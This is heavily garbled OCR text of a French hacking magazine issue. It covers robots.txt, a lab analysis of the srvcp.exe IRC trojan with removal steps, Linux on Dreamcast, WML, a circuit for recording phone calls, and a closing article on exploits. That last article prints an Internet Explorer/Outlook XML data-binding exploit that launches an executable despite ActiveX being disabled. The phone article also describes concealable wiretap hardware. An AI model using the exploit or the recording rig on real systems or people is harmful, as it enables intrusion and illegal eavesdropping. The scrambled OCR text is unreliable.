ce a la relation entre MAME et le laser qui  sont encore trés coliteux (a partir de deux [ AIEGGCETANCEWIEEN [F RV EG R0

permettent de projeter le jeu dans l'air. Ce  mille euros) mais ils ont atteint un tel niveau WM ECISTRRaoR/A 0 ATA E T o (o] T el o)/
LD2000/index_italianshtm.
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Une nouvelle fagon de s amuser avee [es anciens jeux arcade

de sophistication, qu'ils sont méme capa-
bles de convertir les images en mode
" raster ', qualité largement supérieure a
celle télévisée. Mais l'on ne peut que rester
sans voix, en sachant que c'est grace au
laser gu'on peut les dessiner dans I'air des
dizaines de fois par seconde.

Laser-MAME, a sans aucun doute un
objectif plus visuel que de contenu.
Nous avons des amis étranges mais seu-
lement peu d'entre eux penseront a
installer un laser dans le salon pour jouer
a Gravitar ! Nous restons néanmoins
intéressé par toutes reéalisations concre-
tes sur le projet.

Pour télécharger et tout savoir sur le code,
n'‘oubliez pas de vous rendre a l'adresse
http://www.nightlase.com.au/lasermame/.

Michele Campouvecchio

u




ROBOTS

ARRIVONS en HAUA DU GLA

dénamne « Fabos i » et ﬂﬂlll fire ll Grancedans I s
0 notre sie ou pour Ie mainlenir  fa lles S PEJarts IniSerets

es robots du Web sont des e
ogiciels qui parcourent le - el
Réseau a la recherche d'infor- =g
mations. Certains les appellent ‘ '
méme Wanderer, Spider ou Cra-
wler, mais cela ne modifie en rien
eur signification. Si nous plagons dans
le répertoire principal de notre site un
fichier texte nommé « robots.txt », les

S
.
| "
[ Y
i

BET

-

robots des moteurs de recherche orga- *
niseront nos informations en fonction des :
régles que nous avons incluses dans le ; | -q_:l. -
fichier. T L 2R A

. il -
Cela peut donc comporter un double ———/-*/ ‘ “3‘1
intérét: N

a) Classer notre site dans les premie-
res places ;

b) Eviter sa détection par les moteurs de
recherche, afin de limiter sa connaissan-
ce a seulement quelques personnes.

fil

Donc sl celui-cl se trouve a 'adresse
http://mww.mario.it, le robot cherchera
le fichier http://www.mario.it/robots.txt. Il

doit arriver a cette position et non a une  TISNZEET T Hi

autre. De plus, il doit exister un seul Disallowur /cgi-bin/

fichier « robots.txt ». Si nous souhaitons Disallowr /tmp/

différencier les choses, nous devons uti- Disalloux /~mario/ a
liser les méta-tags page par page.

«©

Wsallow » interdit au moteur de
regherche d'explorer le répertoire
ighliqué. Si User-agent, contient un
astérisque cela signifie "tous les g autre solution pour gérer les robots
bbots". Les instructions qui suivent I'in- peut étre d’insérer da aque page Web
dication d'un User-agent concernent, e hon métataa. Vo exemple
justement, la conduite que ce moteur
doit avoir.

Si par contre I'on souhaite donner des
indications différentes a différents #
moteurs, il faut a chaque fois indiquer

le User-agent et ensuite les instructions obot ne devra dexer ceffé page e
qui le concernent. :

—— Par exemple:

Le fichier/robots.txt renferme habituel-
lement une seérie d'instruction$ sem-
blables a celles-¢i :

o =
Tl
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ILS APPELLE
LES aoBOTS

“on peut trouver a l'adresse

http://www.robotstxt. org/we/
active/html/index.html une liste mise a
jour et fiable des crawlers des moteurs
de recherche les plus communs.

Et ainsi de suite, pour chaque User-
Agent. Il ne doit pas y avoir de lignes
vides entre I'indication d’'un User-agent
et les commandes qui le concernent,
par contre la ligne vide est obligatoire
pour séparer les différents User-agent.

A l'exception de l'astérisque du pre-
mier exemple, les métacaractéres ne
sont pas autorisés. Nous ne pouvons
donc pas écrire, par exemple, Disallow :
*.gif pour dissimuler a la vue des spider
les fichiers gif. N'importe quel répertoi-
re ou fichier a exclure doit étre simple-
ment écarté. Un autre exemple :

Il exclut de la vie des moteurs la tota-
lité du serveur.

gLt

MENT avec llII H[:H

e

MID HACKING
—
.‘ b \
ie LR
L ' L
; r ’
§ L}
. ‘
y 4 \
i Ede
LR St m  Ce n’est pas compliqué de paramétrer
convenablement le fichier « robots.txt »
0 et de plus il peut également permettre a
0 hose notre site de mieux fonctionner.
s Un exemple concret située a I'adr
e http://www.hackermag.com/robot
8 - nous révele ce que nous avons cho
S __d'exclure.
, Kurt Gadel
A
dGHIe 1 BF 11 -'II.,.'._.E ,r_‘:'@};\ :’:‘,
- {1
o RODO i+f
Cela permet a tous les crawlers d'ac- qui permet de pa A
céder a la totalité du serveur. d ; 0bo ) {
de d - ACe grap vy
L'on comprend aisément que les que pratig 0 4,9
taches plus complexes demandent do 0
d’avaniage de temps, comme I'exclu- d 10 0
sion de tous les fichiers. Une astuce con-
siste a placer ceux non autorisés a p 9 ® ¥
térieur d'un répertoire et de I'exclure
all !
Jisatio Aario G
pD0ge P 0 E ( 7 ol
¢ / = i
L'on peut également exclure simple- |
ment les pages non visitées : AL S " ATTE
N pan.org/module il
gt -
isallo Ario ] § 2 S "/ CO ; ,.‘ .
il ] | al (] ¢
[lisallo ﬁ
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selon le mode

inverse n'est pas forcément faci-

le mais peut s'avérer trés utile.

Pas facile, parce que ces pro-

grammes sont écrits de facon

diabolique et tentent par tous les moyens

de dissimuler leurs secrets. Utile, parce que

la compréhension d'un mécanisme inter-

ne a partir de son comportement extérieur

est un exercice intéressant a tous points et

vue. Et ici, on apprend aussi un tas de trucs
sur la programmation !

et vous
assistez a plusieurs autres tentatives de
connexion inconnue a un serveur distant
par le port 6667.

You cag downdoad & Bomn v |1 0eBu Loy, vt S Jovwny's sty
Samt 210is mew avdeblet Rrim @ The Dec 18 17:27:52 2003 GMT
Yoo, 2 Sy et Viehesevod s s e elssi of e e sl b of o, 21,
st et v, 715
Moagor 2 1 fratares miiode
* A new commecion ackang madie, Flowr (repluces comercaton)
« A terw portecam detector based of of Flow., Firw-Portseas: ireplacen
+ A rw e prgeosessor, Boploupect (epaces bp_decode)
* Alent’

Seppectson
* FCRE e keyword (Pe Conpat Re e Exgarvsons)
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TOUS LES LOgICIELS

DE CET

Filemun: hitp://www. sysinternals.com/
ntw2k/source/filemon. shiml

Regmaon: http://www.sysinternals.com/ntw2k/
source/regmon.shtml
Snort, systéme de révélation de I'intrusion:
hitp://www.snort.org/
TCPview Pro, analyse des connexions du
réseau; htip://www.sysinternals.com/
ntw2k/source/tcpview.shiml

ARTICLE

Undelete, pour récupérer les fichiers éffaces:
http://www.executive.com/

Tripwire, analyse de I'état du systeme:
http://www.tripwire.org/

VMware: http://www.vmware.com/
Winalysis, analyse de |'état du systéme:
http://www.winalysis.com/

Zone Alarm, firewall: hitp://www.zonelabs.com




Le port 6667 est
souvent utilisé pour la connexion a un ser-
veur IRC. Un contréle rapide effectue en
lancant un client IRC et en le connectant
au host détecté, fait apparaitre quatre uti-
lisateurs en ligne avec le champ "Real
Name" paramétreé sur "I'm trojaned". L'un
de ces quatre utilisateurs a la méme adres-
se |P que votre ordinateur.

Une analyse rapide réalisée avec n'impor-
te quel programme anti-malware, révele

que vous étes infecté par srvcp.exe. Mais
étudions-le un peu avant de le supprimer.

on peut l'assimiler a un réseau de
serveurs connectés entre eux qui gérent
le tchat en temps réel. |l existe des milliers
de canaux, généralement associés a un
sujet spécifique, ou I'on entre en se con-
nectant a un serveur quia acces a la bran-
che du réseau ol a lieu la dite conversation.
Lorsqu'un tchateur tape un message, celui-
ci est transmis au serveur IRC, qui le redi-
rige vers les clients des autres participants
selon l'interprétation du RFC 1459.

detextealarecherchede | @
chaines susceptibles e

TRACES “:
DE TASMER

Tasmer est relativement connu et il
n'est pas difficile de trouver des
informations sur Internet méme avec
une recherche rapide sur Google. Par-
mi les nombreux liens a votre disposi-
tion pour approfondir, signalons
http://www3.ca.com/securityadvisor/vir
usinfo/virus.aspx?1D=9798.

Pregarans un laboratoire
Virtuel dans Jequel nous
~analyserons en.toute
SEciriteun Gheyal de
Irale pourmieny
lmmpremlm San

. fontionnement

de revéler certains detalls mteressants
Certains messages insérés dans le fichier
exécutable laissent suppeser-queTe Che-
val de Troie peut recevoir des commandes
dangereuses via IRC :

dans
I'attente de demandes d'identification, et

e

se blogue dés qu'il recoit des

demandes non-conformes au

protocole. Le service d'identification est défi-
ni dans le RFC 1413 et sert justement a
combattre tout abus du service, en permet-
tant a un serveur distant de déterminer le
login d'un utilisateur qui a initié une conne-
xion TCP au serveur susmentionne.
De nombreux serveurs n'acceptent pas la
connexion d'un utilisateur si son client ne
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EN cAS ﬂ INFECTION

éme le testeur le plus aguerri n'est pas a I'abri d'un probléeme. Si votre PC finit par )

etre infecté par srvcp.exe, voici comment faire pour le supprimer rapidement.

Lancez regedit (menu Démarrer -> Exécuter -> tapez regedit puis cliquez sur 0K),

Suiveg le parcours HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftiWindows\CurrentVer-
siom\Run\.

Cliquez sur Run et le panneau sur la droite se modifiera. Déterminez I'objet ServiceProfiler
="Srvep.exe’.

Cliquez sur ServiceProfiler a I'aide du bouton droit, puis Supprimer (ou Delete).

Ne touchez a rien d'autre dans le registre !

Fermez regedit et redémarrez votre PC pour supprimer le Trojan de la mémoire.
Supprimez le fichier c:\windows\system\srvcp.exe.

Si vous trouvez aussi un fichier c:\windows\system.gus.ini, supprimez-le aussi (c'est le
fichier de données du Trojan). Sinon, voire ordinateur est désinfects !

confirme pas son identité a travers le  _| _
protocole ident.

est iden-
tique a celui d'une variante bénigne, qui
connecte les clients IRC des ordinateurs
contaminés a un canal appelé #mikag avec
soup comme mot de passe d'acces, et en
créant un nick avec des chiffres et des let-
tres pris au hasard. Le Cheval de Troie se
cache souvent dans un écran de veille pour :
Windows. variante, qui tente de se connecter a
un serveur IRC sous le nom de Joe Blow.

La faible extension de ce programme ne
permet pas d'obtenir des informations trés
detaillees sur Internet, nous allons donc l'e-
xaminer d'un peu plus prés.

PHIEHEIRRER D)

LN environnement
controle

On commence par préparer un
laboratoire experimental avec VMware, un

La version bénigne s'appelle Tasmer, mais
de la & dire qu'elle est absolument sans
danger... Certaines variantes sont mémes
capables de trouver les mots de passe par
calcul distribué et peuvent lancer des atta-
ques par Deni de Service (DoS). Une nou-
velle recherche permet de trouver une autre

® msuwm L\'\lss"k! TSI TWE.

FOMSIMRIOU  CAMSSETI® TV MSSTRDS TS,

T MSDHWRSTF £\ MISETLR VWSS TFOF T

‘ MEDNATLO. C\MSSE NS (\MSSTFY 198,

TOMSONDE  C\MESETUPT\NSSISOR TS,

s, COMSETPTSTR M.
i
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emulateur de hardware et de services de
réseau. Concretement, il est possible sur
une machine sur laguelle est installé Vmwa-
re, de lancer tous les systémes d'exploita-
tion souhaités, sur des ordinateurs virtuels
sépares. Si l'une des machines virtuelles
a un probleme, le vrai PC ne court, lui,
aucun risque et il suffira alors d'éteindre
cette emulation. La vitesse n'est pas terri-
ble, mais c'est la securite qui nous interes-
se ici. Pas besoin de ressources extraordi-

naires. Nous avons utilisé un vieux

= portable de 500 MHz fonctionnant

sous Windews 2000, avec un disque
dur de 20 GB et 256 MO de RAM,

|| sur lequel Vmware a permis de lan-
| cer Red Hat Linux, Windows 98

'll Seconde Edition et Windows NT 4.0

Workstation Service Pack 6a, des
systéemes un peu vieillots mais
disponibles, et plus que suffisants
pour notre étude. Chaque systeme
d'exploitation disposait de 1,6 GB
d'espace disque et 64 MO de RAM.

mais il est
possible de mettre en place un réseau vir-
tuel permettant de les relier tous les trois
au sein de la seule machine physi-

que, sans pour autant que celle-

ci communigue avec le monde

extérieur. Bref, un parfait cobaye

sans aucune interference exte-
rieure. Mais pour étre totalement

slirs d'avoir une machine _ "
parfaitement étanche, -

nous avons installé le &

firewall Zone
Alarm, de
fagon a

ce qu'il
empeéche

toute sortie

de paquets, et
protége le systé-
me en entrée,
Bien  sir,
méme ainsi,
on n'obtiendra
jamais une sécu-
rité theorigue
a 100%, mais
le niveau effectif
est plus efficace.




Ig i T N EVEEF]T N
g —
- P T 3 . ¥ m 3 JTi

systéme et met en rapport les neeuds
du réseau avec les processus qu'ils ont
lance.

WIM KERKHOFF ——

Thi
OO [ i K e i ine - e
PlBo td Vom o by o On peut ainsi effec-
: - | tuer une comparaison apres I'exécution du
Cheval de Troie. Mais nous aurions aussi pu

utiliser I'excellent Tripwire.

This page generates fortunesfquote
pick what kind of fortune you want, or

Vourtood Fortune: gl bistoriitiet el B @~ avecuneversion quipermet de récu-
e NG s want, or click "Get Me" to the next fortune. pérer des fichiers et ce, méme aprées avoir
e Mhef-p:\::::'ueues Editorigls Your aducation Fortune: = i vidé la Corbeille. Parfaite pour examiner

Education is isaming what you didnY even know you didnY knaw. | d'é\fentue|8 fiChlers temporaires Cféés pUiS
LA e | ==%  supprimés par le Trojan. Au sein du réseau,
SelectaType: feodie 3] [GetFoie ;-1 Snort contrdle le trafic et permet de voir
tout ce qui s'y passe.

VMware dispose d'un outil appelé vnetsnif-

fer, mais il est un peu approximatif pour nos

Quotes / Fortunes

i

'rﬁ|_.r:|_=r:1“im_l...:»ﬁ T e e ——

o . Eama'ms-mxwmmmm
Virtual Machine 1 Virteal Machine 2 Virtual Machine 3 Virtual Machine 4
Limux Windows 95 Windows NT applications
POLII‘ leS backup. || Suf' applications applications applications
fit également de copier les fichiers syste- Lisx  Windows95 = Windows NT g?:telﬁr
me. De méme, reproduire une certaine 0§
situation ou décider combienetquelspatchs  tente
appliquer est on ne peut plus simple. d'acceder, VMware" Virtual Platform”
Regmon con- .
; SE==a— L tréle en revan-
Pr ﬂgr anines- che la lecture et I'é- s::ﬂﬁa;gsl:c
S!Ei I'I[USEUPE criture de données de 05

registre. Pour 69 dollars,

TCPView Pro permet d'ob-

tenir des listes détaillées de toutes les | |
dans  connexions TCP et UDP effectuées sur le | |
notre laboratoire virtuel, au fur et a mesu- i
re que le Trojan tentera d'infecter les machi-
nes virtuelles autour de lui.

(= X ‘Snort does not
(11 (if you knpw Suart is rncing chech the PED fle s

s
I
-

\ Filemon permet de vérifier a
«, quels fichiers le Trojan

objectifs ; en effet, il prend uniguement en
compte la taille des paquets, I''P de départ,
l'adresse MAC, le protocole de transport et
quelques autres informations. Une analyse
approfondie en demande plus.

Dans un prochain numero,
nous analyserons le comportement du
Cheval de Troie pour mieux comprendre
son fonctionnement.

.
Nuus avons ﬁ&nalé la version open source de Tripware. |l
existe egalement une version commerciale sur ,
http://www.tripware. com, qui présente d'importantes differen-
ces tant au niveau des fonctionnalités que des capacites.
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CONSOLE

La PlayStation ne
pose plus de probleme, puisque Sony vend
méme le kit de transformation. Le pingouin
est également arrivé sur la Xbox et méme
sur le Nintendo GameCube, Tout comme
sur la Sega Dreamcast, une console qui
n'a pas rencontré l'effet escompté sur le
marché, mais qui avait dans tous les cas
ses raisons. Le projet de porting de Linux
sur Dreamcast prévoit non seulement le
développement d'un kernel qui fonctionne,
mais aussi la création d'une véritable distri-
bution que tout le monde peut ufiliser le
plus simplement du monde.

0u en sommes-nous ?

Il dispose d'un port série

(p22] (www.hackermag.com!

a l'arriere de la' econsole
(comme/devittySC1, pour les branchés
technique), d'un framebuffer 640 x 480 sur
lequel un serveur X peut fonctionner,
reconnait le type de cable vidéo lorsqu'il

est lance et peut produire le
signal approprié pour un ecran
VGA. Il ne possede pas encore
I'accélération PowerVR2, mais
on ne peut pas tout avoir !
Méme le port Ethernet est actif
et peut étre utilise pour des con-
nexions a bande large au pour
connecter la console & un,
réseau local.
Le clavier standard SEGA est
entierement utilisable, tandis gue
le driver actuel engendre quel-
ques problemes avec certains
claviers standard pour PC.
La  souris . Dreamcast
(/deviinput/mice) est traitée a ['in-
star d'une souris PS/2, tandis
que le contraleur de jeu standard
(/devfinput/js0) prend la forme
d'un joystick a six axes et cing
touches. .
Pour l'instant, I'herloge, I'audio, l'unite
optique, le madem et les appaieils a
connecter au bus MAPLE, ne sont pas
compatibles. ' =



Le systeme d'exploitation gratuit
(U pingouin conguiert une enieme

f

console e jeux video

Au moment
ot naus écrwons la version
010605 est la plus récente. Elle se
présente sous la forme d'un CD-

' Us vous conseillons de
hnstaller n ayant branché votre
clavier et votre souris Dreamcast.
Bien sdr, il n'existe pas de CD déja
tout prét. vous devez télécharger
le code et le graver.

Si vous souhaitez en savoir plus
pour rendre votre CD bootable et
proceder a son installation, mal-
heureusement l'espace nous man-
que pour rentrer dans les détails,

. mais les liens cités dans cet arti-
cle vous permettront de connaitre
toutes les informations nécessaires.
Le code, tel qu'il se présente, permet d'en-
registrer facilementde software dans la
mémoire de Dreamcast a travers le CD,
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serveur de réseau ou port série, en
permettant non seulement d'utiliser le
software que vous préférez mais aussi
d'effectuer un travail de développement et

Dreamcast Linux Distribution:
ftp://ftp.m17n.org/pub/super-h/dreamcast/

eCos/RedBoot pour le boot du kernel:

http://www.m17n.org/linux-sh/dreamcast/ecos

| GNU/Linux sur Dreamcast;

| hitp://www.m17n.0rg/linux-sh/dreamcast/

Prboom, Doom version Unix:
http://prboom.sourceforge.net/

Portage de Linux sur Dreamcast:
http://www.m17n.org/linux-sh/dreamcast/
index.en.html

Xmame, emulateur d'arcade
en version Unix;
http://x.mame.net/

de tweaking du code. Vous pouvez vous
loguer a la console par lintermédiaire de
la... console (mais celle Unix), du port série
ou par telnet, s'il existe un réseau disponi-
ble. Il vous suffit pour cela de lancer xdm
depuis votre console pour activer Xwindow,
avec tout ce qui s'ensuit.

Vous pouvez ensuite jouer, par exemple
avec Xmame, Prboom (version Doom pour
Unix) et bien d'autres jeux encore.

A quoi tout cela
peut-il bien servir ?

ddiffuser la
connaissance et accomplir des exploits. Au
lieu de moisir dans un grenier, une vieille
console peut ainsi se transformer en
ordinateur et trouver un usage sense. Au
pire, elle vous aura servi pour apprendre
quelque chose, au lieu d'attendre un
dernier voyage a la décharge.

(p23) [www.hackermag.com!
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27 ETMONSITE ou EST

our commencer, et pour com-
prendre de quoi il s'agit, une
précision. Le WAP, Wireless
Application Protocol, est une
série de protocoles qui spécifient
la fagon dont transmettre des
données par voie hertzienne, de fagon a
ce gqu'elles soient disponibles pour les télé-
phones portables. Le WML, Wireless Mar-
kup Language, définit quant & lui la fagon
dont sont structurées les données qui voya-
geront ensuite selon les régles du WAP.
Comparé au World Wide Web ordinaire, le
WML correspondrait au HTML et le WAP
au TCP/IP (méme s'il y a en réalité quel-
ques différences, mais nous n'entreront pas
ici dans les détails).

Il est question ici de WML, & savoir com-
ment écrire des pages Web a destination
des téléphones portables.

Des tag partout !

WML est un Markup Language, c'est-

a-dire qu'il fonctionne avec des tag, des
commandes textuelles insérées dans le
texte ordinaire. Mais il y a certaines diffé-
rences par rapport au HTML, car le WML
est spécifié en XML (le langage de bali-
sage qui permet de créer de nouveaux
langages de balisage)

(0241 (wwwhackermag.com )

CE QUE JE LE METS

ous les fournisseurs d'accés ne sont pas
forcément équipés pour accueillir des
sites pour portables... enfin des deck

| WML. Pour essayer, et pour tous ceux qui ne
¢ veulent pas dépenser un sou, le site

http://www.wapdrive.com offre méme un
hosting WML gratuit !

* LE XML DISTINGUE MAJUSCULES ET MINU-
SCULES. Ecrire <Wml> est différent de
<wml>. Dans le HTML, on fait ce qu'on
veut.

¢ LE XML est TATILLON. Toute spécification
de code non respectée génere une erreur.
Dans le HTML, on peut facilement ouvrir
des paragraphes <p> sans les fermer avec
</p>, et tout fonctionne de la méme fagon.
*TOUT ATTRIBUT a l'intérieur d'un tag doit
étre mis entre 'guillemets simples' ou "dou-
bles". Dans le HTML, cette opération est
souvent inutile.

Ceci étant dit, étudions un peu le sque-
lette d'une page WML. Quoi que I'on écri-




ve, ces commandes doivent taujgUrs étre
présentes. b
<Zwami version="1.00">
<IDOCTYPE wrmi PUBLIC

“—//\WAPFORUM//DTD WML 1.1//EN"

‘htq::/hunuuq:rumg!ﬂmiunul :

<lu'l'l>
</wmP>

Les deux premiers tag decri-
vent le type de document ;
les deux autres sont comme
<html> et </html>:

ils contiennent e document &
proprement dit.

Différence par rapport au
HTML :

un fichier HTML (dingo.html)
correspond a une seule page
visible. Un fichier WML &

(pluto.wml) peut contenir plus === — ===

d'une page.

Jeu de cartes,
cartes de jeu

Dans le jargon WML, les "pages" con-
tenues dans un document sont appe-
lées card. En frangais, on parlerait de car-
tes, mais le mot anglais se référe ici aux
cartes a jouer. En effet, 'ensemble des car-
tes contenues dans un document forme un
deck, a savoir un jeu de cartes. Une card
commence par <card> et finit par </card>.
Les card devraient porter un nom qui les
distingue des autres et un titre comme celui
du HTMI, qui apparait dans le browser :

| =
\?T-sJ DERMERES WISES A JOUR
Vuus {rouverez a I'adresse hitp://www.open-
mobhilealliance. org/tech/affiliates/wap/
wapindex.himl toutes les évolutions des stan-
dards WAP et WML. C'est un peu le W3C des
portables, et il contient toutes les spécificités

POUR SE TENIR INFORME DES

(]
A .

dans le monde mgueduliM. 1>

Essayons d'enrichir notre squelette de
tout a I'heure :

<yl version="1.00"%>
<IDOCTYPE wiml PUBLIC
"-'/J'IIJHPF[IRIIW/IJTD WML 1.1//EN”
1.1

<cardid- 1 title="Bienvenue
dans le monde m dullM P>
(I——I:atnglrlm;umcmmumpm
‘montre dans |e browser —

</cartd>

</wmb

Pour l'instant, il n'y a pas grand chose

a voir, mais aux moins, la page a un titre.

Bouclons ce premier article en insérant un
petit texte :

<Tuml version="10"D>

<{DOCTYPE wini PUBLIC
“~//IDAPFORUM//OTD WML 1.1//EN”

“http//uvapforumorg/0T/wmi_1.1

HT™> '

<uard

<cardid="presentation” title="Bienvenue

dans le monde magigue du LIML ! >

<palign="center” mode="urap™>

Upici le texte prét pour notre premiére

“p

</card>
</wmb

Pour I'heure, arrétons-nous la... mais
nous y reviendrons tres bientot pour deve-
nir des pros du WML !

| permettant le développement le plus précis pos- WEEC N Wam W

; sible tout en évitant d'écrire un ancien code.

<5l

Il n'est pas si different
i fangage ATHL et

fous permet d aceeder
au Weh méme depuis

U télénhang poctable 1

EMULATEUR
POUR TOUS

ertains NE fam=

disposent pas
du bon portable, et
personne ne peut =
ious les avoir. Est-on pourautant dcarté du
WML ? Non, bien siir. Il existe des émula-
teurs de toute sorte === e
sur lesquels ont
peut tester le code | | .
WML. Voici quel- e -
(Jues noms : SmartPhone Emulator Forte
Edition (http:/Awww.yospace.com/spefe.html),
un émulateur de Nokia 6210 sur le Web,
disponible sur hitp:/Amanv.wapemulator.comy/
handsets/1. 6210/ == ——1
index.php?url=,
OpenWave]|:
(hitp://fwww.open- e
Wave.com), WapTger dans Java (unwersel
gégalement disponible pour Mac 0S X et
Linux) sur htp://www.waptiger.com/wapti-
ger/, TTEmulator pour le Web
(http://fwww.inetis.com/
ftemulator.asp), WapFreaks (http://wapsi-
lon.com) pagea open source
(http://waplet.sourceforge.net/) via le Web

__sans-oublier de nombreux autres.

__[ip 25; (www.hackermag.com ]




LA Lol ET LES
EcouTES TELEPHONIQUES

| est interdit par la loi
d'enregistrer les

coups de téléphone. Il

. faut préalablement
< avertir l'interlocuteur
L., d'un enregistrement et
v avoir son autorisation

(enregistreé).

Par conséquent avant
de vous mettre au travail, il faut s'assurer
qu'ils soient tous d'accord. Manipuler la ligne
téléphonique de quelqu'un d'autre avec des
dispositifs qui puissent I'endommager, est
également interdit. Si nous jouons aux

espions, faisons le chez nous mais en aver-
 tissant préalablement les autres.

2AOMMA T ION

) esl llesarma/s ﬂl]SSIMﬂ mréyls!rer 1es coups de fil,

e Se franchant a 2 ligne telephonique, grace a un

oup de téléphone internatio-
nal, ligne trés encombrée. Tou-
tes les nuits un casse-pieds nous
réveille en sursaut en nous appe-
lant pendant notre sommeil, pour
nous insulter, ou bien tout sim-
plement pour nous dire qu'il s'est lrompé
de numéro. Nous avons décide de réagir,

| mais pour cela il nous faut une preuve enre-

gistrée.

Comment faire pour enregistrer les coups
de téléphone directement sur notre ordina-

simple cireuil, et ensuite de tout transférer sur G0 !

teur, presque gratuitement et ensuite ame-
liorer leur qualité en supprimant le bruit de
fond et en éclaircissant les voix ? Est-il pos-
sible de tout sauvegarder sur CD ou bien
sur notre iPod ? Suivez le guide

Peu de composants

Une ligne téléphonique est composée
de deux fils appelés " paire de cuivre ".
Elle permet de transporter la voix, les
signaux de lignes libres et de lignes occu-




pées, ainsi que ceux des sonneries.
L'important est de ne pas trop surcharger
la ligne, sans quoi nous risquons de faire
sauter les stabilisateurs de courant pré-|
sents dans les centrales auxquelles nous |
sommes reliés et de risquer de ne plus pou-
voir téléphoner. De plus, I'avertissement |
d'un absorption anormale déclencherait |
une inspection sur la ligne qui, tout ou tg
arriverait jusqu'a notre domicile. Il vau
mieux prévenir que gueérir.
En fouillant parmi les composants retirés
a l'un de nos vieux téléviseurs, nous avons
trouvé ce dont nous avons besoin Voici la
liste de ce qu'il nous faut :

— =
|

1

e e

N s e e e e e

|
|
T
+

Les seuls composants que nous ne trou-
vons pas dans l'ancien téléviseur sont le
petit transformateur, disponible chez un
revendeur de composants électroniques,
ainsi que les cables que nous pouvons
désormais dénicher dans les grandes sur-

faces ou boutiques spécialisés en électro-

ménagers.

Comment cela marche?

Parallelement a la ligne téléphonique,

par l'intermédiaire d'un doubleur,préle- 8

vons le signal que nous faisons passer par’

la résistance et le condensateur de 220/

Kilo-picofarads, le seul ayant une tension de'

travail d'au moins 250V, parce que lorsque

le signal de la sonnerie arrive, il y a environ
80V sur la ligne.

Le signal est ensuite appliqué au secon-
daire du transformateur, celui dont les bor-
nes sontle plus rapproché, correspondants
a la sortie a 6 V (a condition d'utiliser le
transformateur comme un transformateur
d'alimentation). Cetype de transformateur
sert de séparateur' @htre la ligne et le char-
2nthen adaptari¥les impédances.

ous introduisons
lintermédiaire
rtir du primaire du

levons le signal gl

€ signal sur la ligne téléphoni-
I8Ve. et par conséquent a ten-

3 aniére expérimentale est
Rtte 10 KpF et 470 KpF |l faut
! gonter le circuit, en sou-

fmetr d'introduire le signal
onigue du PC.

Bien évider mes ordon-
4 né nous pouvons égal nger le tout
| dans une petite boite. 1

BFPC au LD E. i

Il est nécessaire d'installer sur notre ordi-
nateur un logiciel capable de capturer
le son introduit dans la prise micro. ll est

. préferable que celui-ci dispose de fonction-

nalités supplémentaires qui nous permet-

 tront de manipuler le signal et ensuite de

. sélectionner uniquement les parties qui

" nous intéressent, ou bien de supprimer les
perturbations et bruits de fond éventuels.

LINEA
TELEFONICA

220 J(PF
250V

MID HACKING

/\ 16 lout est manté 3 Ia volée en mains de dix minutes
avec un soudenr el pey o'élain, Les Irés molives pourraient
évidemment uliliser un sugport. 12 maniére dont i 58 pré-
sente permet o Elre plus fagilement dissimulable,

I\ L6 trimmer a premier plan, Belui utilisé ici n'est ger-
Lainement pas maderne et les composants sant  lovte vi-
denee o'ogeasion. Mais nows avons déja il précédemment
que {'on pouvait les régupérer sur 4 ancien poste de flevi-
Siw, el 'est ce que nous avens fait. If étaif yraiment ancies,

. 4¥0 KPF

REGISTRATORE
0 Pc

H ].__
490 KpF
TRIMMER
.215 Ko

I\ 18 schéma st lrés simple. Les compasants sonl facilement récupérables a |'exception du transformater.




PROGRAMMAT ION

- LT Notre choix s'est porté sur un logiciel libre

, ~ oubleur de figne eiephonique. nommé " Audacitfr téléchargegble ala-

I est négessaire si nous prenons /2 ligne gui s rouve d dresse

ilé du teléghone. Mais en prélevant le signal paralléle- http://audacity.sourceforge.net/. Il est dispo-

ment, ['on peut serﬂ#l.'ﬂl'llel'ﬂll'llllll[mﬂaqﬂﬁlﬁﬂﬂ [/} nible pour toutes les plateformes et dans
notre figue. toutes les langues : Windows, Linux et

Macintosh.

Aprés l'avoir lancé il est tout de suite )

rationnel. Il suffit Iors d {

D'autre part, nous pouvons l'utiliser égale-
ment pour transférer nos anciens disques
vynile et cassettes audio un peu abimées
sur CD, apres avoir effectué les modifica-
tions audio nécessaires. Une fois le coup
de fil terminé, nous avons la possibilité d'a-
nalyser la piste audio de I'ensemble de l'en-
registrement. Par l'intermédiaire du menu
" Effets > Suppression bruits de fond... ",
nous pouvons préeciser au logiciel ce que
nous considérons comme bruit et ensuite
le supprimer automatiquement sur une par-
tie ou I'ensemble de I'enregistrement. C'est
une opération trés utile qui nous permet de
retirer les éventuels bruits de fond, méme
si le matériel utilisé n'est pas de type pro-
fessionnel.
Les possibilités de manipulation sont mul-
tiples et nous utiliserons également la fonc-
tion de " normalisation *, qui permet de tout
ramener au méme niveau sonore,
Pour terminer, l'on peut sauvegarder notre
réalisation en tant que " prOJet Audacmy
urdes

- De le charger sur notre iPod pour
amis pmssent I'entendre
- De créer un CD avec n'importe quel pro-
gramme de gravure

- Envoyer le fichier audio par email

<1 s inserans fa rise audly das | enirée augio 084
ol ordivatear, Jmﬂr#ﬁtwﬂmmw&ﬂw
smﬂm

7 -ﬂefaﬂweeﬂﬂﬂmmkm-ﬂaﬁmrﬂmmfr!
la commande ‘remofe’




n « exploit » est une technique c‘ui permet
d’accéder a un systeme d’exploitation, ou un
outil ?UI permet son utilisation. (Utilisation
de la technique) .
Celle-ci est possible par la découverte d’une faille dans
un systeme, qui en permet ensuite sa modification gra-
ce aux techniques de piratage.
Trouver une « faille » dans un systeme est une combat
sans relache pour les hackers. |
Outre le fait d’étre d’accroitre toujours d’avantage leur
notoriéte, ils sont toujours fiers a chacune de leurs decou-
vertes. D'autres ne sont pas intéresseés pas la gloire, mais
lutdt d’enrichir la connaissance de la communaute hac-
er par la rédaction d’outils permettant justement d'ex-
ploiter les « exploits », en écrivant par exemple des

communauté.
EXEMPLE

scripts qui sont ensuite diffusés dans I'ensemble de la
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L’exp’loit ci-dessous permet d'insérer I'exécution d'un "Acti-
veX" malveillant au sein d'un document visualisable grace &
Internet Explorer ou Outlook Express méme si I'exécution d'ob-
jets ActiveX est désactivée

<span datasrc="#0Exec”

dataformatas="html"></span>
<xml id="0Exec">
<security>

datafld="exploit”

cosney 1 L VSR
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<exploit>
<![CDATA|
<object id="0File” classid="clsid:11111111-1111-1111-
1 L O R B 0 LS e 07l T Tt N e
codebase="c:/winnt/system32/calc.exe”></object>
- </exploit>
</security>
</xml>

=) P T )

ualites requises
a découverte d’'un exploit est le défi lanceé a tous les hackers, ou
bien leur raison d'étre. Il faut pour cela posséder suffisamment de
connaissances et de curiosités pour affronter n'importe quel systeme
